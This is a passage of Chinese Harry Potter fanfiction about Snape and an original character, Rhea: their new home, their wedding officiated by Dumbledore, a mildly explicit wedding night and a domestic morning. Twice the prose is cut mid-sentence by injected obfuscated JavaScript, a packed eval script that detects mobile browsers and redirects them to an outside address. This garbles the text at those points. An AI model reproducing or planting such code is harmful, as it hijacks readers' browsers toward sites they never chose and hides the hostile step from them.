“……出乎我意料的答案。”唐克斯不明所以地嘴角一翘,露出一抹狡黠的笑。她毫不客气地挤到斯内普身侧,拖长语调,压低声音:“怎么,是怕引起骚动?其实那天你去交通司送她之后,整个魔法部早就传遍了。”她夸张地摊开手,翻出一个生无可恋的白眼,“我被留在英国这段日子,根本没过上一天清净的日子,知道吗?我从来都不清楚原来我认识这么多巫师——‘唐克斯唐克斯,你到底知不知道详情?’”她捏着嗓子,开始重现那些窥探八卦的情景。 不远处的布莱克故意似的笑得大声。 不过,任唐克斯模仿得再生动,斯内普全程都保持如没听见这两人动静般的不为所动。那一双冰冷的黑眼睛目不斜视望前方,薄唇紧闭得严丝合缝,一点破绽都不会留给他们。 他径直大步走向升降梯厅的位置,没有与前往楼梯间的二人多说一句。 八楼,金碧辉煌的正厅。绕过那座被金斯莱命令修复如初的魔法兄弟喷泉,斯内普拐进右手边的门厅,那里个走廊的尽头有一道隐藏门,门后是一小段楼梯,正是审判那天带她离开魔法部的一个隐藏出口,通往伦敦繁华的街道。 推开小门的刹那间,伦敦八月傍晚特有的潮湿寒凉,混杂着远处公园飘散而来的玫瑰清甜、街上车水马路的烟火气,一同拥抱裹挟了他。 当然,同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“按你送我的写?”走在后方的斯内普看穿了她迟疑的心绪,索性干脆提议。 “那你快过来,西弗。”她抬起手,往后轻轻摆动,立刻被意会到她用意的男巫紧攥在掌心。 她笑着往后靠入男人怀抱,灰白色的魔杖利落一挑,在门牌靠上的空位刻下她的姓氏——“Leonhardt”。没有犹豫,漆黑的魔杖在她身旁悄然挥动,余下的位置显现出他的姓氏——“Snape”。 柔润的圆弧和锐利的笔锋。 不知道为什么,仅仅是目见到这样的场景,蕾雅的心底已然蔓生出无际的、暖融的浅海。温和的海水漫过细砂,留下绵长缱绻的水色微波。 “别愣着,开门。”斯内普低低地催促她,并以讥讽的语调道:“我没有施加会自动解锁的魔咒。” 蕾雅轻笑出声,从口袋里掏出那枚钥匙,郑重地放到锁孔中,打开了大门。 “以后,这里就是我们的家了。”进门前,她小声说了一句。她的眉眼到面颊都浸透了从心底那片海翻涌而上的和悦。她踩入门褴,又回眸对后方男人道:“谢谢你,西弗勒斯。” “先提醒你,我之前说什么都没布置,不是在夸张。”斯内普反手关上了门,打开电灯,暖黄色坠于两人头顶,但身前人根本没有要顾及他解释的意思,径自换好拖鞋,轻快跑入屋内。 说没有布置也并非如此,蕾雅很快发现,斯内普早就将蜘蛛尾巷二人生活的痕迹都移植到这里。 不止玄关的拖鞋,壁炉前柔软的地毯,餐桌上与那束绣球永生花并排而置的二人马克杯、餐具,浴室置物架悬挂的毛巾、洗漱用品……连二楼主卧衣柜都挂好了她原先留在他家的衣物,诸如此类,他都一丝不苟地清点好,让它们安然地长进这个新家。 和这些一起搬来的,还有好几箱斯内普在蜘蛛尾巷的藏书,看来他是趁着闲暇时把它们整理在一楼的工作间,以及地下室——那里还安置着他们使用的坩埚。而二楼的书房则是留给她,毕竟那里离卧室更近,冬季也会比一楼更暖。 蕾雅走遍房子的每个角落,熟悉这座属于他们的家。 最后回到客厅,映入她眼帘的是一套崭新舒适的沙发,几个抱枕被随意摆在那里。简洁的茶几上摊开一本炼金术士,大概是斯内普上次在这里时遗留的吧。 她对这一切都感到满意,旋即绽开笑容。更没想到的是,客厅一隅矗立着一架钢琴,款式与莱恩哈特家的那架一模一样。 蕾雅踢着拖鞋迈向钢琴前,熟练地掀起琴盖,指尖跃动,音符悠然地溅开在此时仍有些空旷的屋内,回响的余韵如看得见的湖水涟漪,层层荡开。 “你怎么连钢琴都准备了?买的?复制的?”她合上琴,转身探出手勾住跟随她走来的男人,“音色很好呢。” “这是你父亲送你的。”斯内普顺势环过她的腰,低头碰了碰她的额心,轻声问:“都看过了?感觉怎么样?”不知为何,他这个问法让蕾雅忽然觉得他就是在等她的夸赞。 好嘛,他应得的。 “一切都超级满意,西弗勒斯。”蕾雅仰望男人,凝视着那仅在她面前才会展露的松缓温和。她踮起脚,以指尖轻柔地点点他高傲的鼻梁,珍重得仿若仍在弹奏刚才的琴键。 “不过,还有一件事我想做。”她说。 “嗯?”他问。 她给了他一个神秘的微笑。左手挽住他的手臂,右手抽出魔杖,从行李箱中召出那架购于美国自由巷的魔法相机。 “来,笑一笑,西弗!” 一瞬的魔法暖光擦过眼前,机械慢悠悠吞吐出两张新鲜温热的相纸。 相中人,一个明眸含笑,一个眼角透出几分无奈,却已再不是平日的冷峻疏离。 这是他们定格的记忆。 男人将它们镶入浅木相框,安置在家中壁炉上方,与后来逐渐增添的回忆都伫立在那个位置,一同见证属于二人的岁月流转。 94.直至死亡 【BGM:Turning Page-Sleeping at Last I''ve waited a hundred years. But I''d wait a million more for you. Your love is my turning page. I surrender who I''ve been for who you are. For nothing makes me stronger than your fragile heart.】 一个盛大的、瑰丽的夏日。 一个难忘的日子。 一个宣告着,神或梅林仍旧垂怜他的时刻。 高大的落地玻璃窗外是璀璨燃烧的光华,连绵葱翠的绿茵一直延伸到视野能及的尽头,与天空融为一体。 男人站在被映得明亮的全身镜前,系紧领带,仔细套上马甲,扣好晨礼服的最后一颗纽扣,梳拢半长的乌发。他最后一次端详镜中的自己,那个从无这么正式拘谨,甚至显得有些陌生的自己。 他是不曾想过,自己会为了某个人做到这一步的。 但在走来的这一路上,她已为他考虑和牺牲得太多。甚至连他们婚礼,她和她的家人都尽量照顾他繁忙的日程安排和个人喜恶。 最终的流程决定得很迅速,地点选在伦敦郊外的一座新式石教堂。(1) 不需要牧师或司仪,亦无需繁琐的伴娘和花童。其余的一切,都自然交给邓布利多和麦格去布置。 尽管如此,他也没想到,以弗立维、卢平为首的几个教授听闻消息后,义不容辞参与进来,就连马尔福家族也出了一份力。就在今天进入侧厅换衣服前,他竟还瞥见黑着脸给两侧墙壁和柱子装点上花丛丝带的布莱克,以及热心帮忙的波特与韦斯莱一家。 想到这里,他又不禁想起,几天前跟她一同去挑选婚纱的情形。 那天,在她母亲和婚纱师的精心装扮下,更衣室幕帘敞开的一刻,斯内普生平第一次体会到什么叫目眩神迷,茫然无措到忘记呼吸。 那么今天,他只希望那向来训练有素的理智可以坚强一些,不要轻易让防线溃散,至少,不要表现得那么明显。 门外传来一阵细碎的脚步声。 未等来人敲门,他已转身,顺手抬起魔杖将那扇典雅的胡桃木门缓缓打开一条缝。敲门声响了三下,门就被径自推动,麦格和邓布利多的脸一同出现在那里。 “准备得怎么样了,西弗勒斯?我看见赫敏和金妮已经从蕾雅的房间出来了,时间也差不多了。” 麦格率先开口,她今天穿着深松石绿的苏格兰传统长裙,横在中间的一根黑色丝绒腰带勾勒出她优雅的身姿。见到房内的斯内普,她满意地扬起笑容,大步上前:“我的梅林,我得说,这身可真适合你。不过嘛……还差点什么。” 说着,她抽出魔杖,指向斯内普礼服左侧的纽扣孔一点,那里顿时绽放出一朵素雅的白玫瑰。 斯内普扬了扬眉毛,低头看了那朵白玫瑰一眼,旋即掂起自己的魔杖,将之变为一朵绣球花。 邓布利多的目光停留在黑礼服上耀眼的纯白,意味深长又了然地捋过胡子。那胡须上亦系有一个暖白色小蝴蝶结,与他身上的锦缎白长袍相得益彰。他笑容温和,盈满欣慰的眼色:“看来,一切都准备就绪了,米勒娃,你先回会场,让大家静候吧。我拿上东西,和西弗勒斯马上就过去。” 斯内普面无表情地看着米勒娃热诚地点头转身,才重新把目光放在满脸堆笑的老巫师那侧。没等他腹中嘲讽的尖酸锋芒涌出,邓布利多已伸手轻拍他的肩膀,轻松地说:“就今天,原谅我们吧,西弗勒斯。毕竟,我们是真的为你高兴。米勒娃说得对,你这身可真的——” “你要是再继续说下去,今天这场婚礼也可以不需要证婚人了,阿不思。”斯内普终于没忍住,凶狠地睨了他一眼。 邓布利多兴趣盎然地微眨左眼,举起魔杖,将放在斯内普身后桌上的一个长盒传送过来,略有顽皮地笑道:“那么,为了确保我这位‘不需要的’证婚人还能顺利完成职责,你们的戒指就由我来暂时保管了。现在走吧,你总不愿让她等太久,对吧?” 两个人一前一后步出侧厅,沿着长走廊踱向教堂的偏门。 从这里,已经可以听见弗立维指挥乐器奏响的悠扬曲声,钢琴和长笛声像一场润物的春雨,充盈浸透这座教堂,轻快又神圣。 就正如邓布利多那身过于庄重的洁白长袍。他边走边扶了扶头上同样白的星月帽,随意搭起话:“说起来,也许你不相信。但其实在很久以前,我好像就预想到会有这么一天了,西弗勒斯。” 黑礼服的男人没有回应,微微侧过脸,投去个敷衍至极的疑惑的眼神。 “就在当时,注意到你开始为她补课后。”邓布利多娓娓道。 “我该感谢你如此关心我吗,阿不思?”斯内普嗤笑一声,冷淡回答。他保持着脚下平静的步伐,忽然问道:“……我想知道,你该不会也是因为她的眼睛吧?” “不,西弗勒斯。”邓布利多干脆摆摆手,笃定地敲碎男巫的误解,“是你与她的真心。” 说到这里,老巫师停住脚步,苍老的脸庞铺开比平日更为深远的和蔼,“让我确认这个猜想的,是当我将你的记忆交给她时,她求我加上一道只有你能打开的咒语。那孩子说——‘我不想这样窥探他的心’。” “什——”这话落到耳朵里的瞬间,刚才还能平静自持的男人,脚步蓦地在板石地砖上顿住一瞬。他喉间低下去的话音宛如自言自语:“我原以为,那是你安排好的。” “我只是想告诉你,唯有至诚之心,总会找到它的回响。”老人和悦而带有狡黠地笑开,连带胡子也一抖一抖的。他伸手推开二人面前厚重的偏门,忙不迭地补充一句:“我衷心祝福你们,西弗勒斯。” 轻快明媚的奏乐和怡人的花香毫无迟疑地扑向他们,斯内普不再去思考邓布利多言下之意,只是抿了抿唇,连忙转回去调整心情,扯平礼服的袖口,跟着老巫师踏入教堂正厅。 不算大的空间被团团锦灿的绣球、满天星和常春藤簇拥成一方纯粹而隽永的静谧。午后的太阳从纯灰色的圈圈石缝隙间渗透而下,在无数饱满的花瓣上筛落斑斓碎光。尚好的柔金鎏光和清雅淡香弥散在整个教堂,又纠缠交融于那由魔咒演绎的乐章之间,层层叠叠,大片的绚烂和煦。 大概谁也没想到,在教堂的正门外,蕾雅和奥德莉亚正手忙脚乱地安慰着眼圈泛红的雷格纳·莱恩哈特。 “好啦爸爸!我只是结个婚,又不是不会回来了!”蕾雅无奈地安抚道,“我都没哭呢。” “雷格纳,等下蕾雅也要被你惹哭了。”奥德莉亚比这位父亲冷静不少,她站直身,刚整理完蕾雅的裙摆,再抬手摆正女儿的头纱,以及上面由细钻装点的头冠,顺带以半有严厉的眼神示意丈夫敛住眼泪,“你知道你女儿的泪点跟你一样浅的吧?而且,最重要的是,西弗勒斯这个女婿可是你自己选的。” “好啦,好啦,奥德莉亚,我只是……”雷格纳吸了下鼻子,伸手轻抚过女儿年轻美好的脸庞,拇指在她的颧骨上不舍地停顿数秒,“你和西弗勒斯要好好的,好吗,宝贝?” “别弄花蕾雅的妆。”奥德莉亚不容分说地握住丈夫的手掌,另一只手覆在雷格纳的脸侧,确认过丈夫不会再孩子气后,才放开他走到蕾雅的另一边,准备护送女儿入场。 “妈妈说得对,你明明知道他对我有多好的。”蕾雅被父母的感情惹得弯起眉眼,那抹浅笑像在熹微中拂过的轻风。她晃晃脑袋,耐心等待父亲收拾好情绪,随后挽住他的手臂。 他们刚站定,就看见麦格教授从另一侧的长廊走了过来,面容含笑:“我们的蕾雅准备好了吗?到时间了。” 大门敞开了。 音乐停顿了一拍,而后,管风琴的声音悠然响起。大地般醇厚窎远的旋律交叠错落,仿佛流转不息的海潮,又似地平线上粲然苏醒的晨光。伴随这恒久婉转的婚礼乐章,巫师们愉快挥舞魔杖,漫天的花瓣彩带骤然飞舞,洒在教堂的每一寸。 蕾雅稳住砰砰乱跳的心脏,由雷格纳和奥德莉亚陪伴,踩着这渐渐推高的旋律和长长的地毯走向圣坛。透过头纱,她隐约望到父亲紧绷却浸满感情的脸,望到母亲面上舒展的暖茸笑意,望到好友和教授们的热情和起哄,望到起身鼓掌的外公莱斯利·温斯洛。而最后,她望到自她进来,就没有移开过视线的那位男巫。 即使隔着远距离和一层雪白头纱,斯内普也知道她正在凝望自己。 那身纯白婚纱并不繁复,柔和轻薄的丝缎被坠落在她身上的阳光映得纯净透亮,让她仿若一束炽阳本身,耀眼到不染纤尘。缀满碎钻的薄纱披过她肩膀,朦胧的光影隐约描绘出她优雅的肩线。为了遮盖伤疤而选的独特剪裁,反而衬得她的锁骨愈发纤细,在淡然的暖金色下,如温润的珍珠般无暇。 音符和花瓣自半空飘落,如同一场隆重浩大的雪。她迎着这对他们来说意义非凡的亮白雪色,一步一步,跨过大半个教堂。仿若薄云的裙摆拖曳在深色地毯上,连同她的家人对她的珍爱和重视一起,缓缓走向他。 矗立在半场的斯内普就这么怔愣地盯着,颤抖的指尖紧贴在腿侧,呼吸之间,全然不知道自己在想什么、该想什么。音乐和哄闹声贯耳,他却再也听不见天地间的一切声响,只觉得唇焦口燥,后背还爬上一层薄汗。 直到她真正停在他的面前,笑意盈盈地看着他时,他才意识到,面前这个如此夺目、宛如他生命奇迹般存在的人,竟然真的可以属于他,并且近在咫尺。 “……西弗勒斯,蕾雅是我们最宝贝的女儿。”雷格纳低哑的声音带着震颤,状况显然不比斯内普好多少。幸好,有奥德莉亚在他身边,他勉强压下眼眶的湿意,不至于在众目睽睽之下哭得太过狼狈,“我希望你会好好待她,也希望你们会长久地、永远地幸福快乐。”他说完,拍了拍女儿按在自己手臂上的手,随后,郑重而不舍地,将她交到斯内普僵硬的手里。 “西弗勒斯。”蕾雅轻笑着收紧手指。 她的温柔嗓音敲叩在他的耳侧,让他找回些许自我。斯内普旋即稳稳回握住她,无法掩饰的深爱和尊重凝结在他的面庞。他望向雷格纳和奥德莉亚,一字一句,真诚坚定地说道:“我的承诺,永不会改变,雷格纳,奥德莉亚。我会以我的生命,护蕾雅一生安好。” 仅仅是听见这句话,蕾雅差点就跟雷格纳一样哭出来。 就连旁边一直在竖起耳朵偷听的八卦小狮子们,也都惊讶到张大了嘴。他们不曾想过,斯内普那冷硬像坚冰的躯壳下,真的藏有一颗柔软的心。 可她知道,很早以前就知道。 是她发现了这颗心。 圣坛前的邓布利多也被这一幕深深触动感染,不由地抬起袍袖抹去泪花。见斯内普牵着蕾雅缓步至他的前方,他举起手腕,弗立维教授立刻撤去所有音乐。教堂内随之变得沉寂,唯有热烈的光倾洒下来,落在一张张亲切期待的脸上。 待莱恩哈特夫妇和两位教授落座后,邓布利多将魔杖抵在喉间,“亲爱的朋友们,今天是个极为特别的日子,我们将要见证两个忠贞的灵魂彼此结合。”(2) “我想,在场的许多人,都曾见证过他们的旅程。尤其是西弗勒斯——我必须承认,当初我在霍格沃茨的礼堂上第一次见你时,我并不能预想到会有这么一天。”邓布利多的蓝眼睛闪烁着湿漉漉的亮光,他的视线在蕾雅和斯内普之间晃动数次,一贯游刃有余的神态如今尽是满怀恸然的真情。就在观众席上,斯拉格霍恩教授和麦格教授为这番话轻微颔首,眼里亦晕染开水雾。 “可是,我确实看见他们同行于那场惊心动魄的战争。他们曾在最漫长的深夜并肩作战,共同守护霍格沃茨的未来,将看似不可能的希望,一一化作现实。而在这其中,他们彼此相识、彼此相知、彼此相爱、彼此包容,终至今日。” “我始终相信,世间万物皆可改变,沧海可化桑田,斗转亦有星移。而真正的爱,它可以穿过那些黑暗的年月,跨越最遥远的时空。它不因风暴而熄灭,不因时间而黯淡。今天,西弗勒斯·斯内普,与蕾雅·奥德莉亚·莱恩哈特已决定选择彼此,从此刻起,你们的灵魂互相独立,又相互依存。” “无论贫穷或者富有、疾病或是健康,这份感情不因日的隐没、月的西沉而改,不随四时递嬗、阴晴无常而变。”邓布利多缓缓抬起手中的魔杖,点在二人牢牢相握的双手,语气慈祥宽厚:“现在,如果你们真的愿意成为彼此今后的光亮,支撑对方度过最黑暗的时刻,请在此许下你们的誓言,我将为你们见证。” 场上不知道为什么响起了啜泣的声音,但他们心无旁骛,再也无法顾及更多。 “蕾雅。”斯内普轻唤眼前人,他的神情跟任何时候都不一样,他的眼中仅剩下她,“准备好了吗?” 蕾雅忍住已在眼尾打转许久的泪水,认真点了点头。 男人敛住手掌,低沉的嗓音华美悦耳,静静在这座教堂里回荡。 “我,西弗勒斯·斯内普,愿以蕾雅·奥德莉亚·莱恩哈特为妻。从今往后,我的血液与你的血液将融为一体。无论光明或黑暗,”(3) 邓布利多欣然轻点魔杖,银白色的亮光从魔杖尖端流淌而出,宛若清晨庭院中泛起的浅纱薄雾,渐渐环绕在二人手上,凝成一道比日光还要艳丽的光环。 “我将与你共享每一个晨曦和夜幕,不论风雨或晴天,我将守护你的微笑与眼泪,” 他直视轻纱下的那双定定回望自己的氤氲绿眸,声音是前所未有的沉稳。 “我的生命与你的生命不离不弃,我将与你共度生命中的每一个起伏。” 在斯内普温柔的凝视中,蕾雅哽咽着开口: “我,蕾雅·奥德莉亚·莱恩哈特,愿以西弗勒斯·斯内普为夫。从今往后,我的血液与你的血液将融为一体。不论顺境或逆境,” 随着她的话语停落,又一道银色的光环轻盈升起,两道光环逐渐缩小,一点点攀附至他们的手腕、手背,最终缠绕至无名指。 “我将与你分享每一份喜悦和悲伤,将我所有的梦想与希望交付于你,以后的每一个日出和日落中,我都希望与你一起。” 她向前一步,朝他走得更近,让他的气息和体温包裹着她。 “我的生命与你的生命不离不弃,我将与你共度生命中的每一个起伏。” 魔杖下的银辉猛地盛放,宛若银河倒悬,将无数星宿的微光汇聚成一条绵长的轨迹。 他们对视着,彼此的眼眸清晰倒映对方的身影,心跳声交错回响,那之中蕴藏无法衡量的爱与承诺。他们同时深吸一口气,闭上眼,许下一生诺言: “我们愿以这份誓言为永恒,愿我们的灵魂永不分离,直到时间的尽头。” 随着他们的誓言完成,旖旎的银光逐渐淡入他们的手掌。那种触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943367|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感正如包容的日,慈爱的月,是将他们的心永远系在一起的无形纽带。 邓布利多再次用衣袖擦掉感动的眼泪,手腕一转,两枚戒指扣入银光萦绕的无名指间:“我衷心祝愿,你们的爱意和誓言,如同这枚戒指,不会断裂,不会消亡。自此,你们结为夫妻。” 斯内普探出手,慢慢掀起那层覆在她面前的虚纱。 眼前人低垂的眼睫像蹁跹的白羽,他怜惜地轻轻抬起她的下颚,望进她的眼睛,那里有掠过他心湖的涟漪,有落入他心底的暖雪,有唤醒他所有期盼的曦辉。 “别哭。”他温热的指腹划过她的眼底,拭去她终是没有忍住的泪,顺带拂落她发丝间沾上的花瓣和彩带。他低下头,于她的额心印下一吻,可就要吻上她嘴唇之前,他不动声色地拨弄隐藏袖间的魔杖。 顷刻间,教堂内的乐声演奏如潮水般再度荡漾,魔力的流动拨开空气,唤来无声的风,将升腾而起的密集花瓣吹降得如一场突如而至的骤雨,占据了场上所有想要窥探的人的视野。 男人在这世俗的纷杂喧嚣中,倾身吻住独属于他的温暖。 …… 短暂夏夜,海风徐徐,湿润而缠绵。两个赤身相拥的人被一张薄毯覆盖,依偎在魔法帐篷朝崖边延伸出去的露台。身后,点点和暖的烛光沉浮摇曳,为他们镀上一片迷离幻美的光晕。而前方,远眺而去是翻腾澎湃的大海。有两杯余了一半的红酒搁置他们手边,天穹万物皆倒映在内,如一空参差散碎的繁星。 婚礼上的第一支舞、宴会、祝酒、收礼、寒暄,即使是简化大部分流程,但过分热情聒噪的人们总能将事情拖入琐碎冗长的旋涡。于是,等到舞池里兴奋的人潮变得疯狂而不可收拾,他便径自把她带离他们的婚礼,来到这个秘密场所。 斯内普很快平复好呼吸,随手掂起其中一杯红酒汲饮一口,紧了紧怀里的人与那张毛毯,将她庇护在自己的温度里。 此时此刻,他很清晰感觉到他们的婚姻誓言已彻底完成。之前仅是缠在两人腕上的银色幻光魔咒都安然渗透皮肤,镌刻在每个温热搏动的血肉细胞,彻底成为他们无法分割的一部分。(4) “这个魔咒……是完成了?你刚才……”蕾雅整个人都很疲倦,迷蒙的双眼半敛着,缩在男人的怀中软绵感慨。她的身体仍沉浸在甜蜜的余韵,就像是耳边听见的海崖下一波逐一波的浪卷,挟裹身旁人的体温拍打着融化了她,令她沉沉浮浮,好不真实。 “西弗勒斯……”她轻声呢喃。 “嗯?”男人咽下口中酒液,懒懒回她。 “我一直很想问……”她睁开眼,“你是什么时候开始喜欢上我的?” “……不知不觉间?”斯内普缓慢搁下酒杯,指尖摩挲着杯沿,似是在仔细回想。 是什么时候呢? 他可能也不太清楚。 “找冠冕的时候?”她听出他的迟疑,便任由自己发散的思绪牵引着提问。 “可能。”他答。 “……给哈利送宝剑的时候?” “可能。”再答。 “……在我家的时候?那晚,我说带我回学校的时候?” “可能。”又答。 男人不咸不淡的回应让本来几近陷入沉睡的蕾雅清醒过来,她不服气地坐起身,直直逼近他,“……那,教我守护神的时候呢?” “也可能。”斯内普没有退缩的意思。 “狼毒药剂?” “嗯,或许。”他半眯着眼轻咳一声,端起酒杯,啜饮一口。 “戏弄我很好玩是不是!”蕾雅很不客气地揉捏男巫仍带有潮红的面颊,肩膀忽而一颤,自顾自地陷入沉思,“等等,狼毒药剂那会儿就有了吗?这么早?……” 斯内普举着那杯尚余些许酒液的玻璃杯,被她的踌躇逗笑了。 是什么时候呢? 也许。早在她闯入他的办公室那天,早在他第一次对她使用摄神取念的那日,便已悄然埋下小小的种子。 毕竟,在他过去的生命里,他从来没有、也不敢想象,会有一个人是这样想着自己,这样想要懂得自己。 ——“唯有至诚之心,总会找到它的回响。” 他突然回想到邓布利多白天说的那句话。 “快说。”蕾雅瞪圆眼睛,不客气地夺过他手中的酒杯。 “或许比你想象的都要早。好好回忆一下,某人是怎么莽撞地闯进我生活的?”他终于组织出一个还说得过去的解释,一脸坦然地耸耸肩,嘴角牵起几分讥讽:“所以,很遗憾,我确实记不起来了,夫人。” 第一次听见他对她这么称呼,蕾雅一愣,害羞得不能说话,只仰头一饮而尽杯中的红酒。随着她匆忙抬手的动作,薄毯顺势滑落,她不经意瞥到他之前被遮盖的右肩,顿时停住动作—— 那是一圈齿痕,紫红色的圆深刻得如同一个烙印,鲜明地印在她的视网膜上。 啊。 这位罪魁祸首怔了怔,很快就抛下刚刚要继续追问他的问题。她回过神放下酒杯,略微愧疚地勾起唇,伸出手指抚了抚,“呃,会不会很疼?这得好几天才能消吧?” “你说呢?”男人的语气故作阴郁寒凉,是在揶揄她。然而,当他的脑海中不自觉浮现出她方才的模样时,又忍不住窜起一团暗火。他决定不再与她纠缠这些问题,直接将她掰转回去,重新背靠自己。他低头吻在她的右肩,薄唇抵在那片细软的肌肤,触感柔软,但只持续极短的片刻——他毫不犹豫轻咬了一口。 “呀!”没有任何心理准备的蕾雅吃疼惊呼,快速转头剜他一眼。可对上那双透出报复意味的黑瞳,她就明白了男人的意图,“……好嘛,还真的挺疼。那,既然如此,这就当扯平了?” “我得好好考虑一下。”斯内普压在她耳边回到,暖热的气流绕紧她的心绪。 接着,他的唇沿着方才种下的痕迹游移,吻过她晕红未退的颈间,又沿着肩胛骨的弧度,碾过那些浅淡下去的旧伤疤。而他的手,则不紧不慢绕到她的身前,引得她一个战栗,稍稍挣扎。 “……唔……不行了西弗!”等她仰头枕在他的锁骨气喘吁吁,泛着泪光求饶,他才终于安静下来,停止捉弄她。他犹有依恋地啄吻滚烫脆弱的耳畔,边拾起因为两人打闹而掉在一侧的薄毯,再度裹住她,低声说道:“今天就当扯平了吧。那么——” 他的手覆上她扶在他膝盖的手,转动她无名指上的戒指。 “蕾雅,往后的日子里,我仍期待着与你相知,我的夫人。(Rhea, for all the days toe, I look forward to our continued acquaintance, my lady.)” 蕾雅不好意思地眨眨眼,没有立即答复。她与他的十指交缠在一起,后背贴上他炙热有力的胸膛。听着浪潮击岸的节奏,她抬头看向二人头顶那片深邃无垠的宇宙,虔诚得像宣誓般开口:“我也永远爱你,我的丈夫,西弗勒斯。” 看不到尽头的海面上,千百万颗星辰一同闪烁。那是她曾告诉他的,来自亿万年前的明灿。它们是那样执拗,那样浩瀚,仿佛神明垂爱于天地人世的辉光,见证他们这短暂却又永恒的一刻。 从此,这世间又多了一双互相信任、互相扶持、互相守护的夫妻。无论去往何方,无论未来多远,他们会一直走下去,直至死亡——不。 男人固执地相信。 直至死亡,亦无法将他们拆散。 95.不期然 新购置的厚织窗帘隔绝了卧室大部分的光线,使白昼也呈现出如夜晚的幽静安然。 然而,仔细瞄过去的话,仍能捕捉到几缕调皮的熹微晨光从窗帘下摆挤进房间,在白木地板映出数道浅淡纷杂的灰色虚影,宣告早晨已至。 这是搬进这栋房子以来,蕾雅第一次不是在厨房忙碌的声响,或是身边人的亲吻中醒来。 她掀掀眼皮,感觉到压在身上的沉重,很快反应过来,是身后男人紧紧揽着她的手臂。偏过头,他平稳绵长的呼吸擦过她颈边的肌肤,近在咫尺的缠绵与温热。她静静望着这个人,他的黑发柔顺,面容沉静,眉间没有颦蹙,眼下也早已少了那些曾经长年印刻的淤青,一切皆是休息良好的标志。 她忍不住牵开一抹浅笑,心里知道,它们都在这一日一日的稳定间悄然消退了。 可霍格沃茨马上就要开学了,而且再过不久,他就要前往法国。 一想到他到时肯定又会勉强自己的身体,她决定至少趁现在暑假未结束,就这样再让他多睡一会儿吧。 蕾雅以最轻的力度一点点从他的怀抱挣脱出来,悄悄滑下床。她拾起搭在床尾的背心睡裙穿好,披上晨衣,回头确认床上的男人仍沉浸在酣睡,这才轻手轻脚地带上门。 时间仍算早。在一楼的浴室洗漱完毕,她走进厨房系上围裙,手中的魔杖指向冰箱,将沙拉蔬菜、冷冻培根、鸡蛋、小番茄一一拎出来,一字排开在调理台。炉火升腾,香气和热度渐渐散开,她一边备餐,一边点着咖啡机、吐司机依次开始运作。 长耳鸮蒙布朗就在那馥郁咖啡香漫开的时分,从那扇常开的小窗飞进来。它颤颤悠悠地把嘴上衔着的一个小盒与刚刚发行的《预言家日报》扔在餐桌,随即熟稔地凑近蕾雅的手边。圆溜溜的黄眼珠瞅了瞅白瓷盘上尚没下锅的培根,歪歪脑袋,头顶两根灰色长羽宛若机敏抖动的兔耳,很是乖巧可爱。 “你想吃培根呀?不行呢,要被西弗发现了,我跟你都得挨骂。”蕾雅宠溺地轻抚它的翎毛,摇了摇头,伸手戳了戳它软绵的胸脯,而后从橱柜翻出一个小罐,取了两块猫头鹰专用的小鱼干,“喏,我过两天去给你买点其他口味的?” 蒙布朗低低应和一声,叼起蕾雅递过去的食物,扑腾两下翅膀返回到窗沿,开始在那里享用它的早餐。 蕾雅心情愉悦地收回目光,把炒得刚好的鸡蛋拨到两个早餐盘中,趁着等待培根煎透的间隙,她转身回到餐桌边,拿起那个明显是新婚礼物的小盒子。 “致蕾雅·莱恩哈特·斯内普”,字迹很是眼熟。 果然,拆开包装,红酒色的丝绒盒盖下映入眼帘的是一张卡片: “蕾雅,这是这两天跟赫敏逛街时候看见的,尺码应该适合你! 虽然对我们来说还是很难以置信,但无论如何,祝你新婚快乐,和教授要幸福永远。 ps:不用礼尚往来,我和赫敏各买了一套。 ——爱你的,金妮。” 文字被几朵火红的玫瑰热烈簇拥,色彩浓艳到刺目,让她蓦地产生一种很不妙的预感。她吞咽一下,移开这张卡片,下层是两件折叠整齐的黑色布料,触感丝滑柔软,泛着绸缎锦光。 蕾雅狐疑地眨了眨眼,就像对待一桩证物那样翻出她的傲罗习性,以指尖谨慎挑起其中的一样。 铺开的刹那,她就毫无犹豫地将它塞了回去,合上盖子的动作更是迅猛到仿佛是在处置之前那颗会爆炸的龙蛋。 啊啊啊啊她怎么会有这种朋友? “金妮·韦斯莱!”她嘟哝着咒骂一句,眼睛已经忙碌地检视起自己家,想找到个能把这东西藏起来的地方——不想让斯内普看到,但又舍不得就这么直接销毁好友特意寄来的礼物。 “韦斯莱又怎么了?” 晚了。这间房屋主人那熟悉的脚步声已靠近她的身后。 蕾雅僵硬转过身,故作镇定地将盒子收拢在背后,对还穿着一身灰睡衣的斯内普堆出个忐忑的笑容:“……你醒了?早呀。” “嗯?”斯内普懒散地抬起一侧眉梢,审视的眼神定格在她藏在后方的手臂一瞬,又游移至一旁冒着滋滋热气的平底锅,“比起那个,蕾雅,今天是准备让我吃烤焦的培根吗,就因为我比你晚起?”他抱起双臂,搭在手肘上一根手指漠然地点了点灶炉那侧。 “啊!不是那样……”蕾雅猛地一惊,整个人像块靠近太阳的冰砖般急速融化。她慌乱抓起锅铲翻动培根,还好,不算太糟。然而,就在她此刻暗暗为保住早餐松懈的须臾—— 啪嗒。 左手忽然一轻。 “西弗勒斯!”她敏锐扭头。 太晚了。蕾雅只能眼睁睁望着那个盒子被斯内普的无声飞来咒牵引着,划向半空,像颗擦出一道流畅圆弧的陨星,平稳坠入他摊开的手中。 